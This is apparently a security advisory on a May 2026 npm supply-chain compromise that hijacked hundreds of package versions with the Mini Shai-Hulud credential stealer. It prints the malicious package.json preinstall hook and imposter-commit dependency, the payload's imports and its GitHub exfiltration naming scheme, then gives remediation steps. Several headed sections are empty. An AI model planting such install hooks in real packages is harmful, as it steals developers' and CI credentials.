The Attack in Numbers

On May 19, 2026, the npm account atool was compromised. In two automated waves spanning 22 minutes, the attacker published 637 malicious versions across 314 packages. The first wave (01:39-01:56 UTC) hit ~317 packages, followed by a second wave (02:05-02:06 UTC) that bumped versions on ~314 packages. Four packages—size-sensor, echarts-for-react, jest-canvas-mock, jest-date-mock—received three versions, likely used for early testing.

High-Impact Packages

Affected packages include:

Crucially, the attacker did not move the latest dist-tag on most packages. But that offers no protection: npm's semver resolution picks the highest matching version regardless of tags. Any project using "echarts-for-react": "^3.0.6" resolves to 3.2.7 (malicious) on the next clean install.

Execution Trigger

Every malicious version makes two changes to package.json:

// size-sensor 1.0.3 → 1.1.4
{
  "version": "1.1.4",
  "scripts": {
    "preinstall": "bun run index.js"
  },
  "optionalDependencies": {
    "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
  }
}

The preinstall hook runs before any dependencies are installed and requires Bun as the runtime. 630 of the 637 versions also inject an optionalDependencies entry pointing to imposter commits in the legitimate antvis/G2 GitHub repository—orphan commits with forged authorship, invisible in the repo's branch history. This provides a redundant payload delivery that survives even if preinstall hooks are blocked.

The Payload: Mini Shai-Hulud

index.js is a single-line, 498KB obfuscated Bun bundle. It matches the Mini Shai-Hulud toolkit from a SAP compromise three weeks earlier: same obfuscation pattern (hex-variable lookup table + base64/XOR encrypted strings), same scanner architecture with a 100KB flush threshold, same credential regex set.

Extracted imports reveal the full scope:

import { execSync } from 'child_process';
import { spawn } from 'child_process';
import { homedir } from 'os';
import { readFile, readFileSync, writeFileSync, createWriteStream } from 'fs';
import { createHash, createDecipheriv, pbkdf2Sync, generateKeyPairSync, sign } from 'crypto';
import { pipeline } from 'stream/promises';

The main function J2() orchestrates multiple scanner classes targeting different credential types, dispatching results through a batched sender with a 100KB flush threshold.

Credential Harvesting

The payload reads 80+ environment variables and scans file contents using regex patterns. Targets include:

In CI environments, the payload detects 20+ platforms via environment variables. When running in GitHub Actions, it activates additional data collection: workflow runs, artifacts, secrets metadata, and OIDC token exchange.

Exfiltration via GitHub

Stolen data is committed as Git objects to public GitHub repositories created under the compromised token's account. The User-Agent is forged as python-requests/2.31.0. Repositories follow a Dune-themed naming pattern: {word1}-{word2}-{number} where word1 is one of sardaukar, mentat, fremen, atreides, harkonnen, gesserit, prescient, fedaykin, tleilaxu, siridar, kanly, sayyadina, ghola, powindah, prana, kralizec and word2 is one of sandworm, ornithopter, heighliner, stillsuit, lasgun, sietch, melange, thumper, navigator, fedaykin, futar, phibian, slig, cogitor, laza, ghola. The description is "Shai-Hulud: Here We Go Again" (reversed in source).

CI/CD and AI Agent Hijacking

Indicators of Compromise

What You Should Do Now

  1. Audit your lockfiles: Check for any package published by atool on May 19, 2026. Run npm audit and inspect for the suspicious optionalDependencies entry.
  2. Rotate all credentials: Any token or key that existed on affected machines must be considered compromised.
  3. Review GitHub repositories: Look for unfamiliar repos with the Dune naming pattern or branches named chore/add-codeql-static-analysis.
  4. Use Package Manager Guard (pmg): An open-source install proxy that evaluates packages against threat intelligence before preinstall scripts run. Its "dependency cooldown" can refuse versions published inside a configurable window.
  5. Pin your dependencies: Use exact versions or lockfiles, and review any preinstall hooks in your dependency tree.